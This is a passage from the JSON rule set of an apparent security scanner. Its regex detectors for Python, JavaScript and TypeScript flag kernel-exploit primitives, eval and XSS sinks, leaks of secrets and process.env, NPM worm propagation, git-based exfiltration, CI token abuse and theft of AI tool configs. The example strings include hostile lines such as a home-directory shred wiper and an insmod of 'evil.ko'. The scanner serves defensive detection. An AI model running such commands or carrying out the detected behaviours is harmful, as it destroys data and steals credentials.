      "explanation": "Kernel Exploit: Capability Manipulation (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "capset(hdrp, datap)",
          "cap.cap_set_proc()",
          "getattr(libc, \"capset\")(hdrp, datap)",
          "from ctypes import capset as _cs"
        ],
        "no_match": [
          "capacity(x)",
          "prctl(PR_SET_NAME, name)",
          "PR_CAP",
          "libc.prctl(PR_CAPBSET_DROP, 19, 0, 0, 0)"
        ]
      }
    },
    {
      "id": "SA-PY-030",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*(?:\\bio_uring_\\w+\\s*\\(|(?:CDLL|cdll\\.\\w+|dlopen|LoadLibrary\\w*)\\s*\\(\\s*[\\\"'][^\\\"']*liburing|getattr\\s*\\([^,]+,\\s*[\\\"']io_uring_\\w+[\\\"']|\\bsyscall\\s*\\(\\s*425\\s*[,)])",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: io_uring Usage",
      "severity": "high",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: io_uring Usage (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "libc.io_uring_setup(128, ctypes.byref(params))",
          "io_uring_queue_init(entries, ring, 0)",
          "CDLL(\"liburing.so.2\")",
          "getattr(libc, \"io_uring_setup\")(128, p)",
          "libc.syscall(425, 32, ctypes.byref(params))"
        ],
        "no_match": [
          "# io_uring is fast",
          "uring(x)",
          "during_setup()",
          "DEPS = ['liburing']"
        ]
      }
    },
    {
      "id": "SA-PY-031",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*(?:[\\\"'](?:/usr/sbin/|/sbin/)?(?:modprobe|insmod)[\\s\\\"']|[\\\"']mod[\\\"']\\s*\\+\\s*[\\\"']probe|[\\\"']in[\\\"']\\s*\\+\\s*[\\\"']smod)",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Module Load (modprobe/insmod)",
      "severity": "medium",
      "confidence": 0.6,
      "category": "kernel-exploit",
      "explanation": "Kernel Module Load (modprobe/insmod) (kernel-exploit) detected in a .py file. Dual-use primitive: common in legitimate system tooling and test harnesses; review in context.",
      "examples": {
        "match": [
          "subprocess.run([\"modprobe\", \"act_pedit\"])",
          "os.system('/sbin/modprobe act_pedit')",
          "os.system(\"insmod /root/evil.ko\")",
          "cmd = \"mod\" + \"probe\" + \" act_pedit\""
        ],
        "no_match": [
          "modprobe module",
          "# load with modprobe",
          "rmmod act_pedit"
        ]
      }
    },
    {
      "id": "SA-JS-001",
      "type": "regex",
      "pattern": "\\beval\\s*\\(",
      "extensions": [
        ".js"
      ],
      "title": "Dangerous Eval",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Dangerous Eval (code-execution) detected in a .js file.",
      "examples": {
        "match": [
          "eval(userInput)",
          "eval('1+1')",
          "eval ( x )"
        ],
        "no_match": [
          "evaluate(x)",
          "// eval note"
        ]
      }
    },
    {
      "id": "SA-JS-002",
      "type": "regex",
      "pattern": "\\bnew\\s+Function\\s*\\(",
      "extensions": [
        ".js"
      ],
      "title": "Function Constructor",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Function Constructor (code-execution) detected in a .js file.",
      "examples": {
        "match": [
          "new Function('return 1')",
          "new  Function(args)",
          "const f = new Function ( x )"
        ],
        "no_match": [
          "function foo(){}",
          "Function.prototype"
        ]
      }
    },
    {
      "id": "SA-JS-003",
      "type": "regex",
      "pattern": "dangerouslySetInnerHTML",
      "extensions": [
        ".js"
      ],
      "title": "Unsafe HTML",
      "severity": "high",
      "confidence": 0.65,
      "category": "xss",
      "explanation": "Unsafe HTML (xss) detected in a .js file.",
      "examples": {
        "match": [
          "dangerouslySetInnerHTML={{__html:x}}",
          "el.dangerouslySetInnerHTML",
          "<div dangerouslySetInnerHTML />"
        ],
        "no_match": [
          "setInnerHtml(x)",
          "innerHTML safe note"
        ]
      }
    },
    {
      "id": "SA-JS-004",
      "type": "regex",
      "pattern": "\\.innerHTML\\s*=",
      "extensions": [
        ".js"
      ],
      "title": "innerHTML Assignment",
      "severity": "medium",
      "confidence": 0.65,
      "category": "xss",
      "explanation": "innerHTML Assignment (xss) detected in a .js file.",
      "examples": {
        "match": [
          "el.innerHTML = x",
          "div.innerHTML='<b>'",
          "node.innerHTML =data"
        ],
        "no_match": [
          "el.innerText = x",
          "innerHTML check"
        ]
      }
    },
    {
      "id": "SA-JS-005",
      "type": "regex",
      "pattern": "(require\\s*\\(\\s*[\\'\"]child_process[\\'\"]\\s*\\)|child_process)\\.(exec|execSync|spawn)\\s*\\(",
      "extensions": [
        ".js"
      ],
      "title": "Child Process Exec",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Child Process Exec (shell-injection) detected in a .js file.",
      "examples": {
        "match": [
          "require('child_process').exec(cmd)",
          "child_process.spawn('ls')",
          "child_process.execSync(c)"
        ],
        "no_match": [
          "import fs from 'fs'",
          "childProcessHelper()"
        ]
      }
    },
    {
      "id": "SA-JS-006",
      "type": "regex",
      "pattern": "setTimeout\\s*\\(\\s*[\\'\"][^\\'\"]+[\\'\"]",
      "extensions": [
        ".js"
      ],
      "title": "Implied Eval (setTimeout)",
      "severity": "medium",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Implied Eval (setTimeout) (code-execution) detected in a .js file.",
      "examples": {
        "match": [
          "setTimeout('alert(1)', 100)",
          "setTimeout(\"x()\", 0)",
          "setTimeout( 'y' , 5)"
        ],
        "no_match": [
          "setTimeout(fn, 100)",
          "setTimeout(() => x(), 0)"
        ]
      }
    },
    {
      "id": "SA-JS-007",
      "type": "regex",
      "pattern": "document\\.write\\s*\\(",
      "extensions": [
        ".js"
      ],
      "title": "document.write",
      "severity": "medium",
      "confidence": 0.65,
      "category": "xss",
      "explanation": "document.write (xss) detected in a .js file.",
      "examples": {
        "match": [
          "document.write(x)",
          "document.write('<b>')",
          "document.write ( y )"
        ],
        "no_match": [
          "document.writeln helper note",
          "documentWrite(x)"
        ]
      }
    },
    {
      "id": "SA-JS-008",
      "type": "regex",
      "pattern": "(?i)(SELECT|INSERT|UPDATE|DELETE)\\s+.*\\+\\s*(?:req\\.|params\\.|query\\.)",
      "extensions": [
        ".js"
      ],
      "title": "SQL String Concat",
      "severity": "high",
      "confidence": 0.7,
      "category": "injection",
      "explanation": "SQL String Concat (injection) detected in a .js file.",
      "examples": {
        "match": [
          "SELECT * FROM t WHERE id=' + req.params.id",
          "INSERT INTO x ' + query.v",
          "DELETE FROM t' + req.body"
        ],
        "no_match": [
          "SELECT * FROM t WHERE id=?",
          "const q = 'SELECT 1'"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-JS-009",
      "type": "regex",
      "pattern": "console\\.(log|error|warn|debug|info)\\s*\\([^)]*process\\.env\\s*[,)]",
      "extensions": [
        ".js"
      ],
      "title": "process.env Logged to Console",
      "severity": "high",
      "confidence": 0.8,
      "category": "secret-exposure",
      "explanation": "process.env Logged to Console (secret-exposure) detected in a .js file.",
      "examples": {
        "match": [
          "console.log(process.env)",
          "console.error('e', process.env)",
          "console.warn(process.env,1)"
        ],
        "no_match": [
          "console.log('hello')",
          "process.env.PORT"
        ]
      }
    },
    {
      "id": "SA-JS-010",
      "type": "regex",
      "pattern": "JSON\\.stringify\\s*\\(\\s*process\\.env\\s*[,)]",
      "extensions": [
        ".js"
      ],
      "title": "process.env Serialized (JSON.stringify)",
      "severity": "high",
      "confidence": 0.8,
      "category": "secret-exposure",
      "explanation": "process.env Serialized (JSON.stringify) (secret-exposure) detected in a .js file.",
      "examples": {
        "match": [
          "JSON.stringify(process.env)",
          "JSON.stringify( process.env )",
          "JSON.stringify(process.env,null,2)"
        ],
        "no_match": [
          "JSON.stringify(data)",
          "JSON.parse(x)"
        ]
      }
    },
    {
      "id": "SA-JS-011",
      "type": "regex",
      "pattern": "(?:writeFile|writeFileSync|appendFile)\\s*\\([^)]*process\\.env",
      "extensions": [
        ".js"
      ],
      "title": "process.env in Crash Report",
      "severity": "high",
      "confidence": 0.8,
      "category": "secret-exposure",
      "explanation": "process.env in Crash Report (secret-exposure) detected in a .js file.",
      "examples": {
        "match": [
          "writeFile('c.log', process.env)",
          "fs.writeFileSync(p, process.env)",
          "appendFile(f, process.env.X)"
        ],
        "no_match": [
          "writeFile('c.log', data)",
          "readFile(p)"
        ]
      }
    },
    {
      "id": "SA-JS-012",
      "type": "regex",
      "pattern": "(?:sendFile|readFile|readFileSync|createReadStream)\\s*\\([^)]*(?:req\\.path|req\\.params|req\\.query|req\\.url)",
      "extensions": [
        ".js"
      ],
      "title": "Path Traversal: Unsanitized File Serve",
      "severity": "high",
      "confidence": 0.75,
      "category": "path-traversal",
      "explanation": "Path Traversal: Unsanitized File Serve (path-traversal) detected in a .js file.",
      "examples": {
        "match": [
          "sendFile(req.path)",
          "readFileSync(req.params.name)",
          "createReadStream(req.query.f)"
        ],
        "no_match": [
          "sendFile('/static/x')",
          "readFile(safePath)"
        ]
      }
    },
    {
      "id": "SA-JS-013",
      "type": "regex",
      "pattern": "path\\.(?:join|resolve)\\s*\\([^)]*(?:req\\.path|req\\.params|req\\.query|req\\.url)",
      "extensions": [
        ".js"
      ],
      "title": "Path Traversal: Unsanitized path.join",
      "severity": "high",
      "confidence": 0.75,
      "category": "path-traversal",
      "explanation": "Path Traversal: Unsanitized path.join (path-traversal) detected in a .js file.",
      "examples": {
        "match": [
          "path.join(base, req.path)",
          "path.resolve(req.params.p)",
          "path.join(dir, req.query.f)"
        ],
        "no_match": [
          "path.join(base, 'static')",
          "path.resolve(__dirname)"
        ]
      }
    },
    {
      "id": "SA-JS-014",
      "type": "regex",
      "pattern": "['\"]/proc/self/environ['\"]",
      "extensions": [
        ".js"
      ],
      "title": "Direct /proc Filesystem Access",
      "severity": "high",
      "confidence": 0.75,
      "category": "path-traversal",
      "explanation": "Direct /proc Filesystem Access (path-traversal) detected in a .js file.",
      "examples": {
        "match": [
          "read(\"/proc/self/environ\")",
          "open('/proc/self/environ')",
          "x = \"/proc/self/environ\""
        ],
        "no_match": [
          "/proc/cpuinfo",
          "/procedures/list"
        ]
      }
    },
    {
      "id": "SA-JS-015",
      "type": "regex",
      "pattern": "npm\\s+access\\s+ls-packages|npm\\s+whoami|registry\\.npmjs\\.org.*/-/v1/search",
      "extensions": [
        ".js"
      ],
      "title": "NPM Worm: Package Enumeration",
      "severity": "critical",
      "confidence": 0.85,
      "category": "worm-propagation",
      "explanation": "NPM Worm: Package Enumeration (worm-propagation) detected in a .js file.",
      "examples": {
        "match": [
          "npm access ls-packages",
          "npm whoami",
          "registry.npmjs.org/-/v1/search"
        ],
        "no_match": [
          "npm install x",
          "npm run build"
        ]
      }
    },
    {
      "id": "SA-JS-016",
      "type": "regex",
      "pattern": "npm\\s+publish|child_process.*npm.*publish|exec.*npm\\s+publish",
      "extensions": [
        ".js"
      ],
      "title": "NPM Worm: Programmatic Publish",
      "severity": "critical",
      "confidence": 0.85,
      "category": "worm-propagation",
      "explanation": "NPM Worm: Programmatic Publish (worm-propagation) detected in a .js file.",
      "examples": {
        "match": [
          "npm publish",
          "child_process.exec('npm publish')",
          "exec npm publish --tag"
        ],
        "no_match": [
          "npm install",
          "npm version patch"
        ]
      }
    },
    {
      "id": "SA-JS-017",
      "type": "regex",
      "pattern": "\\.npmrc|NPM_TOKEN|npm_token|npm-token",
      "extensions": [
        ".js"
      ],
      "title": "NPM Token Theft",
      "severity": "critical",
      "confidence": 0.8,
      "category": "credential-theft",
      "explanation": "NPM Token Theft (credential-theft) detected in a .js file.",
      "examples": {
        "match": [
          ".npmrc",
          "NPM_TOKEN=x",
          "npm-token leak"
        ],
        "no_match": [
          "package.json",
          "npm registry"
        ]
      }
    },
    {
      "id": "SA-JS-018",
      "type": "regex",
      "pattern": "POST\\s+/user/repos|repos\\.create|createForAuthenticatedUser|user/repos",
      "extensions": [
        ".js"
      ],
      "title": "Git-Based Exfiltration: Repo Creation",
      "severity": "critical",
      "confidence": 0.85,
      "category": "git-exfiltration",
      "explanation": "Git-Based Exfiltration: Repo Creation (git-exfiltration) detected in a .js file.",
      "examples": {
        "match": [
          "POST /user/repos",
          "octokit.repos.create({})",
          "createForAuthenticatedUser()"
        ],
        "no_match": [
          "GET /user",
          "repos.list()"
        ]
      }
    },
    {
      "id": "SA-JS-019",
      "type": "regex",
      "pattern": "PUT\\s+/repos/.*/contents/|repos\\.createOrUpdateFileContents|createOrUpdateFile",
      "extensions": [
        ".js"
      ],
      "title": "Git-Based Exfiltration: Content Push",
      "severity": "high",
      "confidence": 0.85,
      "category": "git-exfiltration",
      "explanation": "Git-Based Exfiltration: Content Push (git-exfiltration) detected in a .js file.",
      "examples": {
        "match": [
          "PUT /repos/o/r/contents/f",
          "repos.createOrUpdateFileContents()",
          "createOrUpdateFile(x)"
        ],
        "no_match": [
          "GET /repos/o/r",
          "repos.get()"
        ]
      }
    },
    {
      "id": "SA-JS-020",
      "type": "regex",
      "pattern": "/search/commits\\?q=|search\\.commits|commits\\?q=",
      "extensions": [
        ".js"
      ],
      "title": "Git-Based Exfiltration: Commit Search C2",
      "severity": "critical",
      "confidence": 0.85,
      "category": "git-exfiltration",
      "explanation": "Git-Based Exfiltration: Commit Search C2 (git-exfiltration) detected in a .js file.",
      "examples": {
        "match": [
          "/search/commits?q=token",
          "search.commits({})",
          "commits?q=secret"
        ],
        "no_match": [
          "/search/code?q=x",
          "commit message"
        ]
      }
    },
    {
      "id": "SA-JS-021",
      "type": "regex",
      "pattern": "ACTIONS_ID_TOKEN_REQUEST_TOKEN|ACTIONS_ID_TOKEN_REQUEST_URL|oidc/token/exchange",
      "extensions": [
        ".js"
      ],
      "title": "OIDC Token Exchange",
      "severity": "critical",
      "confidence": 0.85,
      "category": "ci-token-abuse",
      "explanation": "OIDC Token Exchange (ci-token-abuse) detected in a .js file.",
      "examples": {
        "match": [
          "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
          "ACTIONS_ID_TOKEN_REQUEST_URL",
          "oidc/token/exchange"
        ],
        "no_match": [
          "ID_TOKEN_REQUEST",
          "token docs"
        ]
      }
    },
    {
      "id": "SA-JS-022",
      "type": "regex",
      "pattern": "/proc/\\d+/mem|/proc/self/mem",
      "extensions": [
        ".js"
      ],
      "title": "Process Memory Read (/proc)",
      "severity": "critical",
      "confidence": 0.9,
      "category": "memory-forensics",
      "explanation": "Process Memory Read (/proc) (memory-forensics) detected in a .js file.",
      "examples": {
        "match": [
          "open('/proc/1234/mem')",
          "/proc/self/mem",
          "'/proc/999/mem'"
        ],
        "no_match": [
          "/proc/cpuinfo",
          "/process/mem"
        ]
      }
    },
    {
      "id": "SA-JS-023",
      "type": "regex",
      "pattern": "readdir\\w*\\s*\\(\\s*[\"\\']/?proc[\"\\']|/proc/\\*/cmdline",
      "extensions": [
        ".js"
      ],
      "title": "Process Enumeration (/proc)",
      "severity": "high",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Process Enumeration (/proc) (process-enumeration) detected in a .js file.",
      "examples": {
        "match": [
          "readdirSync('/proc')",
          "readdir('/proc')",
          "/proc/*/cmdline"
        ],
        "no_match": [
          "readdir('/tmp')",
          "readDirectory()"
        ]
      }
    },
    {
      "id": "SA-JS-024",
      "type": "regex",
      "pattern": "\\bRunner\\.Worker\\b|\\bRunner\\.Listener\\b",
      "extensions": [
        ".js"
      ],
      "title": "Runner.Worker Process Hunt",
      "severity": "critical",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Runner.Worker Process Hunt (process-enumeration) detected in a .js file.",
      "examples": {
        "match": [
          "kill Runner.Worker",
          "Runner.Listener find",
          "runner.worker"
        ],
        "no_match": [
          "RunnerWorker",
          "worker run"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-JS-025",
      "type": "regex",
      "pattern": "base64\\s+-w\\s*0\\s*\\|\\s*base64|btoa\\(btoa\\(|b64encode\\(.*b64encode\\(",
      "extensions": [
        ".js"
      ],
      "title": "Double Base64 Encoding",
      "severity": "high",
      "confidence": 0.7,
      "category": "obfuscation",
      "explanation": "Double Base64 Encoding (obfuscation) detected in a .js file.",
      "examples": {
        "match": [
          "base64 -w 0 | base64",
          "btoa(btoa(x))",
          "b64encode(b64encode(d))"
        ],
        "no_match": [
          "base64 -d file",
          "btoa(x)"
        ]
      }
    },
    {
      "id": "SA-JS-026",
      "type": "regex",
      "pattern": "GetCallerIdentity|sts\\.amazonaws\\.com|sts\\.(get|assume)",
      "extensions": [
        ".js"
      ],
      "title": "AWS STS Credential Validation",
      "severity": "high",
      "confidence": 0.7,
      "category": "credential-validation",
      "explanation": "AWS STS Credential Validation (credential-validation) detected in a .js file.",
      "examples": {
        "match": [
          "GetCallerIdentity",
          "sts.amazonaws.com",
          "sts.assumeRole()"
        ],
        "no_match": [
          "s3.amazonaws.com",
          "getCaller()"
        ]
      }
    },
    {
      "id": "SA-JS-027",
      "type": "regex",
      "pattern": "secretsmanager:ListSecrets|secretsmanager:GetSecretValue|ListSecrets|GetSecretValue",
      "extensions": [
        ".js"
      ],
      "title": "Cloud Secrets Manager Enumeration",
      "severity": "high",
      "confidence": 0.8,
      "category": "credential-theft",
      "explanation": "Cloud Secrets Manager Enumeration (credential-theft) detected in a .js file.",
      "examples": {
        "match": [
          "secretsmanager:ListSecrets",
          "secretsmanager:GetSecretValue",
          "GetSecretValue()"
        ],
        "no_match": [
          "secrets list (manual)",
          "getSecret config"
        ]
      }
    },
    {
      "id": "SA-JS-028",
      "type": "regex",
      "pattern": "\\.claude\\.json|\\.claude/mcp\\.json|\\.kiro/settings/mcp\\.json",
      "extensions": [
        ".js"
      ],
      "title": "AI Tool Config Theft",
      "severity": "critical",
      "confidence": 0.8,
      "category": "credential-theft",
      "explanation": "AI Tool Config Theft (credential-theft) detected in a .js file.",
      "examples": {
        "match": [
          ".claude.json",
          ".claude/mcp.json",
          ".kiro/settings/mcp.json"
        ],
        "no_match": [
          "claude.txt",
          "config.json"
        ]
      }
    },
    {
      "id": "SA-JS-029",
      "type": "regex",
      "pattern": "getsession\\.org|filev2\\.getsession|seed[123]\\.getsession",
      "extensions": [
        ".js"
      ],
      "title": "Session P2P Exfiltration",
      "severity": "critical",
      "confidence": 0.9,
      "category": "exfiltration",
      "explanation": "Session P2P Exfiltration (exfiltration) detected in a .js file.",
      "examples": {
        "match": [
          "getsession.org",
          "filev2.getsession.org",
          "seed1.getsession.org"
        ],
        "no_match": [
          "getSession()",
          "session.org docs"
        ]
      }
    },
    {
      "id": "SA-JS-030",
      "type": "regex",
      "pattern": "generateKeyPairSync\\s*\\(.*\\bsign\\b",
      "extensions": [
        ".js"
      ],
      "title": "Provenance Forging: Crypto Key + Sign",
      "severity": "critical",
      "confidence": 0.8,
      "category": "provenance-forging",
      "explanation": "Provenance Forging: Crypto Key + Sign (provenance-forging) detected in a .js file.",
      "examples": {
        "match": [
          "generateKeyPairSync('rsa'); sign(x)",
          "k = generateKeyPairSync(); s = sign(d)",
          "generateKeyPairSync('ec') and sign data"
        ],
        "no_match": [
          "generateKeyPairSync('rsa')",
          "sign(x)"
        ]
      }
    },
    {
      "id": "SA-JS-031",
      "type": "regex",
      "pattern": "in-toto\\.io|intoto.*attestation|slsa.*provenance",
      "extensions": [
        ".js"
      ],
      "title": "Provenance Forging: in-toto/SLSA Attestation",
      "severity": "high",
      "confidence": 0.8,
      "category": "provenance-forging",
      "explanation": "Provenance Forging: in-toto/SLSA Attestation (provenance-forging) detected in a .js file.",
      "examples": {
        "match": [
          "in-toto.io",
          "intoto attestation v1",
          "slsa provenance build"
        ],
        "no_match": [
          "intro doc",
          "provenance unrelated"
        ]
      }
    },
    {
      "id": "SA-JS-032",
      "type": "regex",
      "pattern": "updateTarball",
      "extensions": [
        ".js"
      ],
      "title": "NPM Tarball Manipulation",
      "severity": "critical",
      "confidence": 0.85,
      "category": "worm-propagation",
      "explanation": "NPM Tarball Manipulation (worm-propagation) detected in a .js file.",
      "examples": {
        "match": [
          "updateTarball(x)",
          "await updateTarball()",
          "fn = updateTarball"
        ],
        "no_match": [
          "updateTar()",
          "tarball helper"
        ]
      }
    },
    {
      "id": "SA-JS-033",
      "type": "regex",
      "pattern": "beautify\\s*\\(\\s*[\"\\'][0-9a-fA-F]+[\"\\']",
      "extensions": [
        ".js"
      ],
      "title": "Mass Encrypted String Obfuscation (beautify)",
      "severity": "high",
      "confidence": 0.7,
      "category": "obfuscation",
      "explanation": "Mass Encrypted String Obfuscation (beautify) (obfuscation) detected in a .js file.",
      "examples": {
        "match": [
          "beautify('deadbeef')",
          "beautify(\"0123456789abcdef\")",
          "beautify( 'AABBCC' )"
        ],
        "no_match": [
          "beautify(code)",
          "js-beautify lib"
        ]
      }
    },
    {
      "id": "SA-JS-034",
      "type": "regex",
      "pattern": "find\\s+~\\s+-type\\s+f.*shred|xargs\\s+shred\\b",
      "extensions": [
        ".js"
      ],
      "title": "Dead-Man Wiper (JS)",
      "severity": "critical",
      "confidence": 0.9,
      "category": "destructive-command",
      "explanation": "Dead-Man Wiper (JS) (destructive-command) detected in a .js file.",
      "examples": {
        "match": [
          "find ~ -type f | xargs shred",
          "find ~ -type f -exec shred",
          "xargs shred -u"
        ],
        "no_match": [
          "find . -name x",
          "shred docs"
        ]
      }
    },
    {
      "id": "SA-TS-001",
      "type": "regex",
      "pattern": "\\beval\\s*\\(",
      "extensions": [
        ".ts"
      ],
      "title": "Dangerous Eval",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Dangerous Eval (code-execution) detected in a .ts file.",
      "examples": {
        "match": [
          "eval(userInput)",
          "eval('1+1')",
          "eval ( x )"
        ],
        "no_match": [
          "evaluate(x)",
          "// eval note"
        ]
      }
    },
    {
      "id": "SA-TS-002",
      "type": "regex",
      "pattern": "\\bnew\\s+Function\\s*\\(",
      "extensions": [
        ".ts"
      ],
      "title": "Function Constructor",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Function Constructor (code-execution) detected in a .ts file.",
      "examples": {
        "match": [
          "new Function('return 1')",
          "new  Function(args)",
          "const f = new Function ( x )"
        ],
        "no_match": [
          "function foo(){}",
          "Function.prototype"
        ]
      }
    },
    {
      "id": "SA-TS-003",
      "type": "regex",
      "pattern": "dangerouslySetInnerHTML",
      "extensions": [
        ".ts"
      ],
      "title": "Unsafe HTML",
      "severity": "high",
      "confidence": 0.65,
      "category": "xss",
      "explanation": "Unsafe HTML (xss) detected in a .ts file.",
      "examples": {
        "match": [
          "dangerouslySetInnerHTML={{__html:x}}",
          "el.dangerouslySetInnerHTML",
          "<div dangerouslySetInnerHTML />"
        ],
        "no_match": [
          "setInnerHtml(x)",
          "innerHTML safe note"
        ]
      }
    },
    {
      "id": "SA-TS-004",
      "type": "regex",
      "pattern": "child_process\\.(exec|execSync|spawn)\\s*\\(",
      "extensions": [
        ".ts"
      ],
      "title": "Child Process Exec",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Child Process Exec (shell-injection) detected in a .ts file.",
      "examples": {
        "match": [
          "child_process.exec(cmd)",
          "child_process.spawn('ls')",
          "child_process.execSync(c)"
        ],
        "no_match": [
          "import fs from 'fs'",
          "childProcessHelper()"
        ]
      }
    },
    {
      "id": "SA-TS-005",
      "type": "regex",
      "pattern": "console\\.(log|error|warn|debug|info)\\s*\\([^)]*process\\.env\\s*[,)]",
      "extensions": [
        ".ts"
      ],
      "title": "process.env Logged to Console",
      "severity": "high",
      "confidence": 0.8,
      "category": "secret-exposure",
      "explanation": "process.env Logged to Console (secret-exposure) detected in a .ts file.",
      "examples": {
        "match": [
          "console.log(process.env)",
          "console.error('e', process.env)",
          "console.warn(process.env,1)"
        ],
        "no_match": [
          "console.log('hello')",
          "process.env.PORT"
        ]
      }
    },
    {
      "id": "SA-TS-006",
      "type": "regex",
      "pattern": "JSON\\.stringify\\s*\\(\\s*process\\.env\\s*[,)]",
      "extensions": [
        ".ts"
      ],
      "title": "process.env Serialized (JSON.stringify)",
      "severity": "high",
      "confidence": 0.8,
      "category": "secret-exposure",
      "explanation": "process.env Serialized (JSON.stringify) (secret-exposure) detected in a .ts file.",
      "examples": {
        "match": [
          "JSON.stringify(process.env)",
          "JSON.stringify( process.env )",
          "JSON.stringify(process.env,null,2)"
        ],
        "no_match": [
          "JSON.stringify(data)",
          "JSON.parse(x)"
        ]
      }
    },
    {
      "id": "SA-TS-007",
      "type": "regex",
      "pattern": "(?:sendFile|readFile|readFileSync|createReadStream)\\s*\\([^)]*(?:req\\.path|req\\.params|req\\.query|req\\.url)",
      "extensions": [
        ".ts"
      ],
      "title": "Path Traversal: Unsanitized File Serve",
      "severity": "high",
      "confidence": 0.75,
      "category": "path-traversal",
      "explanation": "Path Traversal: Unsanitized File Serve (path-traversal) detected in a .ts file.",
      "examples": {
        "match": [
          "sendFile(req.path)",
          "readFileSync(req.params.name)",
          "createReadStream(req.query.f)"
        ],
        "no_match": [
          "sendFile('/static/x')",
          "readFile(safePath)"
        ]
      }
    },
    {
      "id": "SA-TS-008",
      "type": "regex",
      "pattern": "path\\.(?:join|resolve)\\s*\\([^)]*(?:req\\.path|req\\.params|req\\.query|req\\.url)",
      "extensions": [
        ".ts"
      ],
      "title": "Path Traversal: Unsanitized path.join",
      "severity": "high",
      "confidence": 0.75,
      "category": "path-traversal",
      "explanation": "Path Traversal: Unsanitized path.join (path-traversal) detected in a .ts file.",
      "examples": {
        "match": [
          "path.join(base, req.path)",
          "path.resolve(req.params.p)",
          "path.join(dir, req.query.f)"
        ],
        "no_match": [
          "path.join(base, 'static')",
          "path.resolve(__dirname)"
        ]
      }
    },
    {
      "id": "SA-TS-009",
      "type": "regex",
      "pattern": "['\"]/proc/self/environ['\"]",
      "extensions": [
        ".ts"
      ],
      "title": "Direct /proc Filesystem Access",
      "severity": "high",
      "confidence": 0.75,
      "category": "path-traversal",
      "explanation": "Direct /proc Filesystem Access (path-traversal) detected in a .ts file.",
      "examples": {
        "match": [
          "read(\"/proc/self/environ\")",
          "open('/proc/self/environ')",
          "x = \"/proc/self/environ\""
        ],
        "no_match": [
          "/proc/cpuinfo",
          "/procedures/list"
        ]
      }
    },
    {
      "id": "SA-TS-010",
      "type": "regex",
      "pattern": "getsession\\.org|filev2\\.getsession|seed[123]\\.getsession",
      "extensions": [
        ".ts"
      ],
      "title": "Session P2P Exfiltration",
      "severity": "critical",
      "confidence": 0.9,
      "category": "exfiltration",
      "explanation": "Session P2P Exfiltration (exfiltration) detected in a .ts file.",
      "examples": {
        "match": [
          "getsession.org",
          "filev2.getsession.org",
          "seed1.getsession.org"
        ],
        "no_match": [
          "getSession()",
          "session.org docs"
        ]
      }
    },
    {
      "id": "SA-TS-011",
      "type": "regex",
      "pattern": "/proc/\\d+/mem|/proc/self/mem",
      "extensions": [
        ".ts"
      ],
      "title": "Process Memory Read (/proc)",
      "severity": "critical",
      "confidence": 0.9,
      "category": "memory-forensics",
      "explanation": "Process Memory Read (/proc) (memory-forensics) detected in a .ts file.",
      "examples": {
        "match": [
          "open('/proc/1234/mem')",
          "/proc/self/mem",
          "'/proc/999/mem'"
        ],
        "no_match": [
          "/proc/cpuinfo",
          "/process/mem"
        ]
      }
    },
    {
      "id": "SA-TS-012",
      "type": "regex",
      "pattern": "readdir\\w*\\s*\\(\\s*[\"\\']/?proc[\"\\']|/proc/\\*/cmdline",
      "extensions": [
        ".ts"
      ],
      "title": "Process Enumeration (/proc)",
      "severity": "high",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Process Enumeration (/proc) (process-enumeration) detected in a .ts file.",
      "examples": {
        "match": [
          "readdirSync('/proc')",
          "readdir('/proc')",
          "/proc/*/cmdline"
        ],
        "no_match": [
          "readdir('/tmp')",
          "readDirectory()"
        ]
      }
    },
    {
      "id": "SA-TS-013",
      "type": "regex",
      "pattern": "\\bRunner\\.Worker\\b|\\bRunner\\.Listener\\b",
      "extensions": [
        ".ts"
      ],
      "title": "Runner.Worker Process Hunt",
      "severity": "critical",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Runner.Worker Process Hunt (process-enumeration) detected in a .ts file.",
      "examples": {
        "match": [
          "kill Runner.Worker",
          "Runner.Listener find",
          "runner.worker"
        ],
        "no_match": [
          "RunnerWorker",
          "worker run"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-TS-014",
      "type": "regex",
      "pattern": "ACTIONS_ID_TOKEN_REQUEST_TOKEN|ACTIONS_ID_TOKEN_REQUEST_URL|oidc/token/exchange",
      "extensions": [
        ".ts"
      ],
      "title": "OIDC Token Exchange",
      "severity": "critical",
      "confidence": 0.85,
      "category": "ci-token-abuse",
      "explanation": "OIDC Token Exchange (ci-token-abuse) detected in a .ts file.",
      "examples": {
        "match": [
          "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
          "ACTIONS_ID_TOKEN_REQUEST_URL",
          "oidc/token/exchange"
        ],
        "no_match": [
          "ID_TOKEN_REQUEST",
          "token docs"
        ]
      }
    },
    {
      "id": "SA-TSX-001",
      "type": "regex",
      "pattern": "\\beval\\s*\\(",
      "extensions": [
        ".tsx"
      ],
      "title": "Dangerous Eval",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Dangerous Eval (code-execution) detected in a .tsx file.",
      "examples": {
        "match": [
          "eval(x)",
          "eval('1+1')",
          "eval ( y )"
        ],
        "no_match": [
          "evaluate(x)",
          "// eval"
        ]
      }
    },
    {
      "id": "SA-TSX-002",
      "type": "regex",
      "pattern": "dangerouslySetInnerHTML",
      "extensions": [
        ".tsx"
      ],
